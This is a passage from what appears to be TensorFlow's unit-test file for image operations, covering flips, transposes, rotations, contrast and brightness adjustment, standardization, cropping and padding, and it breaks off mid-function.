self.assertAllEqual(flip_counts[0], flip_counts[i]) self.assertAllEqual(flip_sequences[0], flip_sequences[i]) def testRandomFlipLeftRightWithBatch(self): batch_size = 16 seed = 42 # create single item of test data x_np_raw = np.array( [[1, 2, 3], [1, 2, 3]], dtype=np.uint8 ).reshape([1, 2, 3, 1]) y_np_raw = np.array( [[3, 2, 1], [3, 2, 1]], dtype=np.uint8 ).reshape([1, 2, 3, 1]) # create batched test data x_np = np.vstack([x_np_raw for _ in range(batch_size)]) y_np = np.vstack([y_np_raw for _ in range(batch_size)]) with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) count_flipped = 0 count_unflipped = 0 for seed in range(100): y_tf = self.evaluate(image_ops.random_flip_left_right(x_tf, seed=seed)) # check every element of the batch for i in range(batch_size): if y_tf[i][0][0] == 1: self.assertAllEqual(y_tf[i], x_np[i]) count_unflipped += 1 else: self.assertAllEqual(y_tf[i], y_np[i]) count_flipped += 1 self.assertEqual(count_flipped, 772) self.assertEqual(count_unflipped, 828) def testInvolutionUpDown(self): x_np = np.array([[1, 2, 3], [4, 5, 6]], dtype=np.uint8).reshape([2, 3, 1]) with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.flip_up_down(image_ops.flip_up_down(x_tf)) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, x_np) def testInvolutionUpDownWithBatch(self): x_np = np.array( [[[1, 2, 3], [4, 5, 6]], [[7, 8, 9], [10, 11, 12]]], dtype=np.uint8).reshape([2, 2, 3, 1]) with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.flip_up_down(image_ops.flip_up_down(x_tf)) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, x_np) def testUpDown(self): x_np = np.array([[1, 2, 3], [4, 5, 6]], dtype=np.uint8).reshape([2, 3, 1]) y_np = np.array([[4, 5, 6], [1, 2, 3]], dtype=np.uint8).reshape([2, 3, 1]) with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.flip_up_down(x_tf) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, y_np) def testUpDownWithBatch(self): x_np = np.array( [[[1, 2, 3], [4, 5, 6]], [[7, 8, 9], [10, 11, 12]]], dtype=np.uint8).reshape([2, 2, 3, 1]) y_np = np.array( [[[4, 5, 6], [1, 2, 3]], [[10, 11, 12], [7, 8, 9]]], dtype=np.uint8).reshape([2, 2, 3, 1]) with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.flip_up_down(x_tf) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, y_np) def testRandomFlipUpDownStateful(self): # Test random flip with single seed (stateful). with ops.Graph().as_default(): x_np = np.array([[1, 2, 3], [4, 5, 6]], dtype=np.uint8).reshape([2, 3, 1]) y_np = np.array([[4, 5, 6], [1, 2, 3]], dtype=np.uint8).reshape([2, 3, 1]) seed = 42 with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.random_flip_up_down(x_tf, seed=seed) self.assertTrue(y.op.name.startswith("random_flip_up_down")) count_flipped = 0 count_unflipped = 0 for _ in range(100): y_tf = self.evaluate(y) if y_tf[0][0] == 1: self.assertAllEqual(y_tf, x_np) count_unflipped += 1 else: self.assertAllEqual(y_tf, y_np) count_flipped += 1 # 100 trials # Mean: 50 # Std Dev: ~5 # Six Sigma: 50 - (5 * 6) = 20 self.assertGreaterEqual(count_flipped, 20) self.assertGreaterEqual(count_unflipped, 20) def testRandomFlipUpDown(self): x_np = np.array([[1, 2, 3], [4, 5, 6]], dtype=np.uint8).reshape([2, 3, 1]) y_np = np.array([[4, 5, 6], [1, 2, 3]], dtype=np.uint8).reshape([2, 3, 1]) with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) count_flipped = 0 count_unflipped = 0 for seed in range(100): y_tf = self.evaluate(image_ops.random_flip_up_down(x_tf, seed=seed)) if y_tf[0][0] == 1: self.assertAllEqual(y_tf, x_np) count_unflipped += 1 else: self.assertAllEqual(y_tf, y_np) count_flipped += 1 self.assertEqual(count_flipped, 45) self.assertEqual(count_unflipped, 55) def testRandomFlipUpDownWithBatch(self): batch_size = 16 seed = 42 # create single item of test data x_np_raw = np.array( [[1, 2, 3], [4, 5, 6]], dtype=np.uint8 ).reshape([1, 2, 3, 1]) y_np_raw = np.array( [[4, 5, 6], [1, 2, 3]], dtype=np.uint8 ).reshape([1, 2, 3, 1]) # create batched test data x_np = np.vstack([x_np_raw for _ in range(batch_size)]) y_np = np.vstack([y_np_raw for _ in range(batch_size)]) with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) count_flipped = 0 count_unflipped = 0 for seed in range(100): y_tf = self.evaluate(image_ops.random_flip_up_down(x_tf, seed=seed)) # check every element of the batch for i in range(batch_size): if y_tf[i][0][0] == 1: self.assertAllEqual(y_tf[i], x_np[i]) count_unflipped += 1 else: self.assertAllEqual(y_tf[i], y_np[i]) count_flipped += 1 self.assertEqual(count_flipped, 772) self.assertEqual(count_unflipped, 828) def testInvolutionTranspose(self): x_np = np.array([[1, 2, 3], [4, 5, 6]], dtype=np.uint8).reshape([2, 3, 1]) with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.transpose(image_ops.transpose(x_tf)) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, x_np) def testInvolutionTransposeWithBatch(self): x_np = np.array( [[[1, 2, 3], [4, 5, 6]], [[7, 8, 9], [10, 11, 12]]], dtype=np.uint8).reshape([2, 2, 3, 1]) with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.transpose(image_ops.transpose(x_tf)) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, x_np) def testTranspose(self): x_np = np.array([[1, 2, 3], [4, 5, 6]], dtype=np.uint8).reshape([2, 3, 1]) y_np = np.array([[1, 4], [2, 5], [3, 6]], dtype=np.uint8).reshape([3, 2, 1]) with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.transpose(x_tf) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, y_np) def testTransposeWithBatch(self): x_np = np.array( [[[1, 2, 3], [4, 5, 6]], [[7, 8, 9], [10, 11, 12]]], dtype=np.uint8).reshape([2, 2, 3, 1]) y_np = np.array( [[[1, 4], [2, 5], [3, 6]], [[7, 10], [8, 11], [9, 12]]], dtype=np.uint8).reshape([2, 3, 2, 1]) with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.transpose(x_tf) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, y_np) def testPartialShapes(self): # Shape function requires placeholders and a graph. with ops.Graph().as_default(): p_unknown_rank = array_ops.placeholder(dtypes.uint8) p_unknown_dims_3 = array_ops.placeholder( dtypes.uint8, shape=[None, None, None]) p_unknown_dims_4 = array_ops.placeholder( dtypes.uint8, shape=[None, None, None, None]) p_unknown_width = array_ops.placeholder(dtypes.uint8, shape=[64, None, 3]) p_unknown_batch = array_ops.placeholder( dtypes.uint8, shape=[None, 64, 64, 3]) p_wrong_rank = array_ops.placeholder(dtypes.uint8, shape=[None, None]) p_zero_dim = array_ops.placeholder(dtypes.uint8, shape=[64, 0, 3]) #Ops that support 3D input for op in [ image_ops.flip_left_right, image_ops.flip_up_down, image_ops.random_flip_left_right, image_ops.random_flip_up_down, image_ops.transpose, image_ops.rot90 ]: transformed_unknown_rank = op(p_unknown_rank) self.assertIsNone(transformed_unknown_rank.get_shape().ndims) transformed_unknown_dims_3 = op(p_unknown_dims_3) self.assertEqual(3, transformed_unknown_dims_3.get_shape().ndims) transformed_unknown_width = op(p_unknown_width) self.assertEqual(3, transformed_unknown_width.get_shape().ndims) with self.assertRaisesRegex(ValueError, "must be > 0"): op(p_zero_dim) #Ops that support 4D input for op in [ image_ops.flip_left_right, image_ops.flip_up_down, image_ops.random_flip_left_right, image_ops.random_flip_up_down, image_ops.transpose, image_ops.rot90 ]: transformed_unknown_dims_4 = op(p_unknown_dims_4) self.assertEqual(4, transformed_unknown_dims_4.get_shape().ndims) transformed_unknown_batch = op(p_unknown_batch) self.assertEqual(4, transformed_unknown_batch.get_shape().ndims) with self.assertRaisesRegex(ValueError, "must be at least three-dimensional"): op(p_wrong_rank) def testRot90GroupOrder(self): image = np.arange(24, dtype=np.uint8).reshape([2, 4, 3]) with self.cached_session(): rotated = image for _ in range(4): rotated = image_ops.rot90(rotated) self.assertAllEqual(image, self.evaluate(rotated)) def testRot90GroupOrderWithBatch(self): image = np.arange(48, dtype=np.uint8).reshape([2, 2, 4, 3]) with self.cached_session(): rotated = image for _ in range(4): rotated = image_ops.rot90(rotated) self.assertAllEqual(image, self.evaluate(rotated)) def testRot90NumpyEquivalence(self): image = np.arange(24, dtype=np.uint8).reshape([2, 4, 3]) with self.cached_session(): for k in range(4): y_np = np.rot90(image, k=k) self.assertAllEqual( y_np, self.evaluate(image_ops.rot90(image, k))) def testRot90NumpyEquivalenceWithBatch(self): image = np.arange(48, dtype=np.uint8).reshape([2, 2, 4, 3]) with self.cached_session(): for k in range(4): y_np = np.rot90(image, k=k, axes=(1, 2)) self.assertAllEqual( y_np, self.evaluate(image_ops.rot90(image, k))) def testFlipImageUnknownShape(self): expected_output = constant_op.constant([[[[3, 4, 5], [0, 1, 2]], [[9, 10, 11], [6, 7, 8]]]]) def generator(): image_input = np.array( [[[[0, 1, 2], [3, 4, 5]], [[6, 7, 8], [9, 10, 11]]]], np.int32) yield image_input dataset = dataset_ops.Dataset.from_generator( generator, output_types=dtypes.int32, output_shapes=tensor_shape.TensorShape([1, 2, 2, 3])) dataset = dataset.map(image_ops.flip_left_right) image_flipped_via_dataset_map = get_single_element.get_single_element( dataset.take(1)) self.assertAllEqual(image_flipped_via_dataset_map, expected_output) class AdjustContrastTest(test_util.TensorFlowTestCase): def _testContrast(self, x_np, y_np, contrast_factor): with self.cached_session(): x = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.adjust_contrast(x, contrast_factor) y_tf = self.evaluate(y) self.assertAllClose(y_tf, y_np, 1e-6) def testDoubleContrastUint8(self): x_shape = [1, 2, 2, 3] x_data = [0, 5, 13, 54, 135, 226, 37, 8, 234, 90, 255, 1] x_np = np.array(x_data, dtype=np.uint8).reshape(x_shape) y_data = [0, 0, 0, 62, 169, 255, 28, 0, 255, 135, 255, 0] y_np = np.array(y_data, dtype=np.uint8).reshape(x_shape) self._testContrast(x_np, y_np, contrast_factor=2.0) def testDoubleContrastFloat(self): x_shape = [1, 2, 2, 3] x_data = [0, 5, 13, 54, 135, 226, 37, 8, 234, 90, 255, 1] x_np = np.array(x_data, dtype=np.float64).reshape(x_shape) / 255. y_data = [ -45.25, -90.75, -92.5, 62.75, 169.25, 333.5, 28.75, -84.75, 349.5, 134.75, 409.25, -116.5 ] y_np = np.array(y_data, dtype=np.float64).reshape(x_shape) / 255. self._testContrast(x_np, y_np, contrast_factor=2.0) def testHalfContrastUint8(self): x_shape = [1, 2, 2, 3] x_data = [0, 5, 13, 54, 135, 226, 37, 8, 234, 90, 255, 1] x_np = np.array(x_data, dtype=np.uint8).reshape(x_shape) y_data = [22, 52, 65, 49, 118, 172, 41, 54, 176, 67, 178, 59] y_np = np.array(y_data, dtype=np.uint8).reshape(x_shape) self._testContrast(x_np, y_np, contrast_factor=0.5) def testBatchDoubleContrast(self): x_shape = [2, 1, 2, 3] x_data = [0, 5, 13, 54, 135, 226, 37, 8, 234, 90, 255, 1] x_np = np.array(x_data, dtype=np.uint8).reshape(x_shape) y_data = [0, 0, 0, 81, 200, 255, 10, 0, 255, 116, 255, 0] y_np = np.array(y_data, dtype=np.uint8).reshape(x_shape) self._testContrast(x_np, y_np, contrast_factor=2.0) def _adjustContrastNp(self, x_np, contrast_factor): mean = np.mean(x_np, (1, 2), keepdims=True) y_np = mean + contrast_factor * (x_np - mean) return y_np def _adjustContrastTf(self, x_np, contrast_factor): with self.cached_session(): x = constant_op.constant(x_np) y = image_ops.adjust_contrast(x, contrast_factor) y_tf = self.evaluate(y) return y_tf def testRandomContrast(self): x_shapes = [ [1, 2, 2, 3], [2, 1, 2, 3], [1, 2, 2, 3], [2, 5, 5, 3], [2, 1, 1, 3], ] for x_shape in x_shapes: x_np = np.random.rand(*x_shape) * 255. contrast_factor = np.random.rand() * 2.0 + 0.1 y_np = self._adjustContrastNp(x_np, contrast_factor) y_tf = self._adjustContrastTf(x_np, contrast_factor) self.assertAllClose(y_tf, y_np, rtol=1e-5, atol=1e-5) def testContrastFactorShape(self): x_shape = [1, 2, 2, 3] x_data = [0, 5, 13, 54, 135, 226, 37, 8, 234, 90, 255, 1] x_np = np.array(x_data, dtype=np.uint8).reshape(x_shape) with self.assertRaisesRegex((ValueError, errors.InvalidArgumentError), "contrast_factor must be scalar|" "Shape must be rank 0 but is rank 1"): image_ops.adjust_contrast(x_np, [2.0]) @test_util.run_in_graph_and_eager_modes def testDeterminismUnimplementedExceptionThrowing(self): """Test d9m-unimplemented exception-throwing when op-determinism is enabled. This test depends upon other tests, tests which do not enable op-determinism, to ensure that determinism-unimplemented exceptions are not erroneously thrown when op-determinism is not enabled. """ if test_util.is_xla_enabled(): self.skipTest('XLA implementation does not raise exception') with self.session(), test_util.deterministic_ops(): input_shape = (1, 2, 2, 1) on_gpu = len(tf_config.list_physical_devices("GPU")) # AdjustContrast seems to now be inaccessible via the Python API. # AdjustContrastv2 only supports float16 and float32 on GPU, and other # types are converted to and from float32 at the Python level before # AdjustContrastv2 is called. dtypes_to_test = [ dtypes.uint8, dtypes.int8, dtypes.int16, dtypes.int32, dtypes.float32, dtypes.float64 ] if on_gpu: dtypes_to_test.append(dtypes.float16) ctx_mgr = self.assertRaisesRegex( errors.UnimplementedError, "A deterministic GPU implementation of AdjustContrastv2 is not" + " currently available.") else: ctx_mgr = contextlib.suppress() for dtype in dtypes_to_test: input_images = array_ops.zeros(input_shape, dtype=dtype) contrast_factor = 1. with ctx_mgr: output_images = image_ops.adjust_contrast(input_images, contrast_factor) self.evaluate(output_images) class AdjustBrightnessTest(test_util.TensorFlowTestCase): def _testBrightness(self, x_np, y_np, delta, tol=1e-6): with self.cached_session(): x = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.adjust_brightness(x, delta) y_tf = self.evaluate(y) self.assertAllClose(y_tf, y_np, tol) def testPositiveDeltaUint8(self): x_shape = [2, 2, 3] x_data = [0, 5, 13, 54, 135, 226, 37, 8, 234, 90, 255, 1] x_np = np.array(x_data, dtype=np.uint8).reshape(x_shape) y_data = [10, 15, 23, 64, 145, 236, 47, 18, 244, 100, 255, 11] y_np = np.array(y_data, dtype=np.uint8).reshape(x_shape) self._testBrightness(x_np, y_np, delta=10. / 255.) def testPositiveDeltaFloat32(self): x_shape = [2, 2, 3] x_data = [0, 5, 13, 54, 135, 226, 37, 8, 234, 90, 255, 1] x_np = np.array(x_data, dtype=np.float32).reshape(x_shape) / 255. y_data = [10, 15, 23, 64, 145, 236, 47, 18, 244, 100, 265, 11] y_np = np.array(y_data, dtype=np.float32).reshape(x_shape) / 255. self._testBrightness(x_np, y_np, delta=10. / 255.) def testPositiveDeltaFloat16(self): x_shape = [2, 2, 3] x_data = [0, 5, 13, 54, 135, 226, 37, 8, 234, 90, 255, 1] x_np = np.array(x_data, dtype=np.float16).reshape(x_shape) / 255. y_data = [10, 15, 23, 64, 145, 236, 47, 18, 244, 100, 265, 11] y_np = np.array(y_data, dtype=np.float16).reshape(x_shape) / 255. self._testBrightness(x_np, y_np, delta=10. / 255., tol=1e-3) def testNegativeDelta(self): x_shape = [2, 2, 3] x_data = [0, 5, 13, 54, 135, 226, 37, 8, 234, 90, 255, 1] x_np = np.array(x_data, dtype=np.uint8).reshape(x_shape) y_data = [0, 0, 3, 44, 125, 216, 27, 0, 224, 80, 245, 0] y_np = np.array(y_data, dtype=np.uint8).reshape(x_shape) self._testBrightness(x_np, y_np, delta=-10. / 255.) class PerImageWhiteningTest(test_util.TensorFlowTestCase, parameterized.TestCase): def _NumpyPerImageWhitening(self, x): num_pixels = np.prod(x.shape) mn = np.mean(x) std = np.std(x) stddev = max(std, 1.0 / math.sqrt(num_pixels)) y = x.astype(np.float32) y -= mn y /= stddev return y @parameterized.named_parameters([("_int8", np.int8), ("_int16", np.int16), ("_int32", np.int32), ("_int64", np.int64), ("_uint8", np.uint8), ("_uint16", np.uint16), ("_uint32", np.uint32), ("_uint64", np.uint64), ("_float32", np.float32)]) def testBasic(self, data_type): x_shape = [13, 9, 3] x_np = np.arange(0, np.prod(x_shape), dtype=data_type).reshape(x_shape) y_np = self._NumpyPerImageWhitening(x_np) with self.cached_session(): x = constant_op.constant(x_np, dtype=data_type, shape=x_shape) y = image_ops.per_image_standardization(x) y_tf = self.evaluate(y) self.assertAllClose(y_tf, y_np, atol=1e-4) def testUniformImage(self): im_np = np.ones([19, 19, 3]).astype(np.float32) * 249 im = constant_op.constant(im_np) whiten = image_ops.per_image_standardization(im) with self.cached_session(): whiten_np = self.evaluate(whiten) self.assertFalse(np.any(np.isnan(whiten_np))) def testBatchWhitening(self): imgs_np = np.random.uniform(0., 255., [4, 24, 24, 3]) whiten_np = [self._NumpyPerImageWhitening(img) for img in imgs_np] with self.cached_session(): imgs = constant_op.constant(imgs_np) whiten = image_ops.per_image_standardization(imgs) whiten_tf = self.evaluate(whiten) for w_tf, w_np in zip(whiten_tf, whiten_np): self.assertAllClose(w_tf, w_np, atol=1e-4) class CropToBoundingBoxTest(test_util.TensorFlowTestCase): def _CropToBoundingBox(self, x, offset_height, offset_width, target_height, target_width, use_tensor_inputs): if use_tensor_inputs: offset_height = ops.convert_to_tensor(offset_height) offset_width = ops.convert_to_tensor(offset_width) target_height = ops.convert_to_tensor(target_height) target_width = ops.convert_to_tensor(target_width) x_tensor = ops.convert_to_tensor(x) else: x_tensor = x y = image_ops.crop_to_bounding_box(x_tensor, offset_height, offset_width, target_height, target_width) with self.cached_session(): return self.evaluate(y) def _assertReturns(self, x, x_shape, offset_height, offset_width, y, y_shape, use_tensor_inputs_options=None): use_tensor_inputs_options = use_tensor_inputs_options or [False, True] target_height, target_width, _ = y_shape x = np.array(x).reshape(x_shape) y = np.array(y).reshape(y_shape) for use_tensor_inputs in use_tensor_inputs_options: y_tf = self._CropToBoundingBox(x, offset_height, offset_width, target_height, target_width, use_tensor_inputs) self.assertAllClose(y, y_tf) def _assertRaises(self, x, x_shape, offset_height, offset_width, target_height, target_width, err_msg, use_tensor_inputs_options=None): use_tensor_inputs_options = use_tensor_inputs_options or [False, True] x = np.array(x).reshape(x_shape) for use_tensor_inputs in use_tensor_inputs_options: with self.assertRaisesRegex( (ValueError, errors.InvalidArgumentError), err_msg): self._CropToBoundingBox(x, offset_height, offset_width, target_height, target_width, use_tensor_inputs) def _assertShapeInference(self, pre_shape, height, width, post_shape): image = array_ops.placeholder(dtypes.float32, shape=pre_shape) y = image_ops.crop_to_bounding_box(image, 0, 0, height, width) self.assertEqual(y.get_shape().as_list(), post_shape) def testNoOp(self): x_shape = [10, 10, 10] x = np.random.uniform(size=x_shape) self._assertReturns(x, x_shape, 0, 0, x, x_shape) def testCrop(self): x = [1, 2, 3, 4, 5, 6, 7, 8, 9] x_shape = [3, 3, 1] offset_height, offset_width = [1, 0] y_shape = [2, 3, 1] y = [4, 5, 6, 7, 8, 9] self._assertReturns(x, x_shape, offset_height, offset_width, y, y_shape) offset_height, offset_width = [0, 1] y_shape = [3, 2, 1] y = [2, 3, 5, 6, 8, 9] self._assertReturns(x, x_shape, offset_height, offset_width, y, y_shape) offset_height, offset_width = [0, 0] y_shape = [2, 3, 1] y = [1, 2, 3, 4, 5, 6] self._assertReturns(x, x_shape, offset_height, offset_width, y, y_shape) offset_height, offset_width = [0, 0] y_shape = [3, 2, 1] y = [1, 2, 4, 5, 7, 8] self._assertReturns(x, x_shape, offset_height, offset_width, y, y_shape) def testShapeInference(self): # Shape function requires placeholders and a graph. with ops.Graph().as_default(): self._assertShapeInference([55, 66, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([59, 69, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([None, 66, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([None, 69, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([55, None, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([59, None, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([None, None, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([55, 66, None], 55, 66, [55, 66, None]) self._assertShapeInference([59, 69, None], 55, 66, [55, 66, None]) self._assertShapeInference([None, None, None], 55, 66, [55, 66, None]) self._assertShapeInference(None, 55, 66, [55, 66, None]) def testNon3DInput(self): # Input image is not 3D x = [0] * 15 offset_height, offset_width = [0, 0] target_height, target_width = [2, 2] for x_shape in ([3, 5], [1, 3, 5, 1, 1]): self._assertRaises(x, x_shape, offset_height, offset_width, target_height, target_width, "must have either 3 or 4 dimensions.") def testZeroLengthInput(self): # Input image has 0-length dimension(s). # Each line is a test configuration: # x_shape, target_height, target_width test_config = (([0, 2, 2], 1, 1), ([2, 0, 2], 1, 1), ([2, 2, 0], 1, 1), ([0, 2, 2], 0, 1), ([2, 0, 2], 1, 0)) offset_height, offset_width = [0, 0] x = [] for x_shape, target_height, target_width in test_config: self._assertRaises( x, x_shape, offset_height, offset_width, target_height, target_width, "inner 3 dims of 'image.shape' must be > 0", use_tensor_inputs_options=[False]) # Multiple assertion could fail, but the evaluation order is arbitrary. # Match gainst generic pattern. self._assertRaises( x, x_shape, offset_height, offset_width, target_height, target_width, "inner 3 dims of 'image.shape' must be > 0", use_tensor_inputs_options=[True]) def testBadParams(self): x_shape = [4, 4, 1] x = np.zeros(x_shape) # Each line is a test configuration: # (offset_height, offset_width, target_height, target_width), err_msg test_config = ( ([-1, 0, 3, 3], "offset_height must be >= 0"), ([0, -1, 3, 3], "offset_width must be >= 0"), ([0, 0, 0, 3], "target_height must be > 0"), ([0, 0, 3, 0], "target_width must be > 0"), ([2, 0, 3, 3], r"height must be >= target \+ offset"), ([0, 2, 3, 3], r"width must be >= target \+ offset")) for params, err_msg in test_config: self._assertRaises(x, x_shape, *params, err_msg=err_msg) def testNameScope(self): # Testing name scope requires a graph. with ops.Graph().as_default(): image = array_ops.placeholder(dtypes.float32, shape=[55, 66, 3]) y = image_ops.crop_to_bounding_box(image, 0, 0, 55, 66) self.assertTrue(y.name.startswith("crop_to_bounding_box")) class CentralCropTest(test_util.TensorFlowTestCase): def _assertShapeInference(self, pre_shape, fraction, post_shape): image = array_ops.placeholder(dtypes.float32, shape=pre_shape) y = image_ops.central_crop(image, fraction) if post_shape is None: self.assertEqual(y.get_shape().dims, None) else: self.assertEqual(y.get_shape().as_list(), post_shape) def testNoOp(self): x_shapes = [[13, 9, 3], [5, 13, 9, 3]] for x_shape in x_shapes: x_np = np.ones(x_shape, dtype=np.float32) for use_gpu in [True, False]: with self.cached_session(use_gpu=use_gpu): x = constant_op.constant(x_np, shape=x_shape) y = image_ops.central_crop(x, 1.0) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, x_np) def testCropping(self): x_shape = [4, 8, 1] x_np = np.array( [[1, 2, 3, 4, 5, 6, 7, 8], [1, 2, 3, 4, 5, 6, 7, 8], [1, 2, 3, 4, 5, 6, 7, 8], [1, 2, 3, 4, 5, 6, 7, 8]], dtype=np.int32).reshape(x_shape) y_np = np.array([[3, 4, 5, 6], [3, 4, 5, 6]]).reshape([2, 4, 1]) for use_gpu in [True, False]: with self.cached_session(use_gpu=use_gpu): x = constant_op.constant(x_np, shape=x_shape) y = image_ops.central_crop(x, 0.5) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, y_np) self.assertAllEqual(y_tf.shape, y_np.shape) x_shape = [2, 4, 8, 1] x_np = np.array( [[1, 2, 3, 4, 5, 6, 7, 8], [1, 2, 3, 4, 5, 6, 7, 8], [1, 2, 3, 4, 5, 6, 7, 8], [1, 2, 3, 4, 5, 6, 7, 8], [8, 7, 6, 5, 4, 3, 2, 1], [8, 7, 6, 5, 4, 3, 2, 1], [8, 7, 6, 5, 4, 3, 2, 1], [8, 7, 6, 5, 4, 3, 2, 1]], dtype=np.int32).reshape(x_shape) y_np = np.array([[[3, 4, 5, 6], [3, 4, 5, 6]], [[6, 5, 4, 3], [6, 5, 4, 3]]]).reshape([2, 2, 4, 1]) with self.cached_session(): x = constant_op.constant(x_np, shape=x_shape) y = image_ops.central_crop(x, 0.5) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, y_np) self.assertAllEqual(y_tf.shape, y_np.shape) def testCropping2(self): # Test case for 10315 x_shapes = [[240, 320, 3], [5, 240, 320, 3]] expected_y_shapes = [[80, 106, 3], [5, 80, 106, 3]] for x_shape, y_shape in zip(x_shapes, expected_y_shapes): x_np = np.zeros(x_shape, dtype=np.int32) y_np = np.zeros(y_shape, dtype=np.int32) for use_gpu in [True, False]: with self.cached_session(use_gpu=use_gpu): y_tf = self.evaluate(image_ops.central_crop(x_np, 0.33)) self.assertAllEqual(y_tf, y_np) self.assertAllEqual(y_tf.shape, y_np.shape) def testShapeInference(self): # Shape function requires placeholders and a graph. with ops.Graph().as_default(): # Test no-op fraction=1.0, with 3-D tensors. self._assertShapeInference([50, 60, 3], 1.0, [50, 60, 3]) self._assertShapeInference([None, 60, 3], 1.0, [None, 60, 3]) self._assertShapeInference([50, None, 3], 1.0, [50, None, 3]) self._assertShapeInference([None, None, 3], 1.0, [None, None, 3]) self._assertShapeInference([50, 60, None], 1.0, [50, 60, None]) self._assertShapeInference([None, None, None], 1.0, [None, None, None]) # Test no-op fraction=0.5, with 3-D tensors. self._assertShapeInference([50, 60, 3], 0.5, [26, 30, 3]) self._assertShapeInference([None, 60, 3], 0.5, [None, 30, 3]) self._assertShapeInference([50, None, 3], 0.5, [26, None, 3]) self._assertShapeInference([None, None, 3], 0.5, [None, None, 3]) self._assertShapeInference([50, 60, None], 0.5, [26, 30, None]) self._assertShapeInference([None, None, None], 0.5, [None, None, None]) # Test no-op fraction=1.0, with 4-D tensors. self._assertShapeInference([5, 50, 60, 3], 1.0, [5, 50, 60, 3]) self._assertShapeInference([5, None, 60, 3], 1.0, [5, None, 60, 3]) self._assertShapeInference([5, 50, None, 3], 1.0, [5, 50, None, 3]) self._assertShapeInference([5, None, None, 3], 1.0, [5, None, None, 3]) self._assertShapeInference([5, 50, 60, None], 1.0, [5, 50, 60, None]) self._assertShapeInference([5, None, None, None], 1.0, [5, None, None, None]) self._assertShapeInference([None, None, None, None], 1.0, [None, None, None, None]) # Test no-op fraction=0.5, with 4-D tensors. self._assertShapeInference([5, 50, 60, 3], 0.5, [5, 26, 30, 3]) self._assertShapeInference([5, None, 60, 3], 0.5, [5, None, 30, 3]) self._assertShapeInference([5, 50, None, 3], 0.5, [5, 26, None, 3]) self._assertShapeInference([5, None, None, 3], 0.5, [5, None, None, 3]) self._assertShapeInference([5, 50, 60, None], 0.5, [5, 26, 30, None]) self._assertShapeInference([5, None, None, None], 0.5, [5, None, None, None]) self._assertShapeInference([None, None, None, None], 0.5, [None, None, None, None]) def testErrorOnInvalidCentralCropFractionValues(self): x_shape = [13, 9, 3] x_np = np.ones(x_shape, dtype=np.float32) for use_gpu in [True, False]: with self.cached_session(use_gpu=use_gpu): x = constant_op.constant(x_np, shape=x_shape) with self.assertRaises(ValueError): _ = image_ops.central_crop(x, 0.0) with self.assertRaises(ValueError): _ = image_ops.central_crop(x, 1.01) def testErrorOnInvalidShapes(self): x_shapes = [None, [], [3], [3, 9], [3, 9, 3, 9, 3]] for x_shape in x_shapes: x_np = np.ones(x_shape, dtype=np.float32) for use_gpu in [True, False]: with self.cached_session(use_gpu=use_gpu): x = constant_op.constant(x_np, shape=x_shape) with self.assertRaises(ValueError): _ = image_ops.central_crop(x, 0.5) def testNameScope(self): # Testing name scope requires a graph. with ops.Graph().as_default(): x_shape = [13, 9, 3] x_np = np.ones(x_shape, dtype=np.float32) for use_gpu in [True, False]: with self.cached_session(use_gpu=use_gpu): y = image_ops.central_crop(x_np, 1.0) self.assertTrue(y.op.name.startswith("central_crop")) def testCentralFractionTensor(self): # Test case for GitHub issue 45324. x_shape = [240, 320, 3] y_shape = [80, 106, 3] @def_function.function(autograph=False) def f(x, central_fraction): return image_ops.central_crop(x, central_fraction) x_np = np.zeros(x_shape, dtype=np.int32) y_np = np.zeros(y_shape, dtype=np.int32) y_tf = self.evaluate(f(x_np, constant_op.constant(0.33))) self.assertAllEqual(y_tf, y_np) self.assertAllEqual(y_tf.shape, y_np.shape) class PadToBoundingBoxTest(test_util.TensorFlowTestCase, parameterized.TestCase): def _PadToBoundingBox(self, x, offset_height, offset_width, target_height, target_width, use_tensor_inputs): if use_tensor_inputs: offset_height = ops.convert_to_tensor(offset_height) offset_width = ops.convert_to_tensor(offset_width) target_height = ops.convert_to_tensor(target_height) target_width = ops.convert_to_tensor(target_width) x_tensor = ops.convert_to_tensor(x) else: x_tensor = x @def_function.function def pad_bbox(*args): return image_ops.pad_to_bounding_box(*args) with self.cached_session(): return self.evaluate(pad_bbox(x_tensor, offset_height, offset_width, target_height, target_width)) def _assertReturns(self, x, x_shape, offset_height, offset_width, y, y_shape, use_tensor_inputs_options=None): use_tensor_inputs_options = use_tensor_inputs_options or [False, True] target_height, target_width, _ = y_shape x = np.array(x).reshape(x_shape) y = np.array(y).reshape(y_shape) for use_tensor_inputs in use_tensor_inputs_options: y_tf = self._PadToBoundingBox(x, offset_height, offset_width, target_height, target_width, use_tensor_inputs) self.assertAllClose(y, y_tf) def _assertRaises(self, x, x_shape, offset_height, offset_width, target_height, target_width, err_msg, 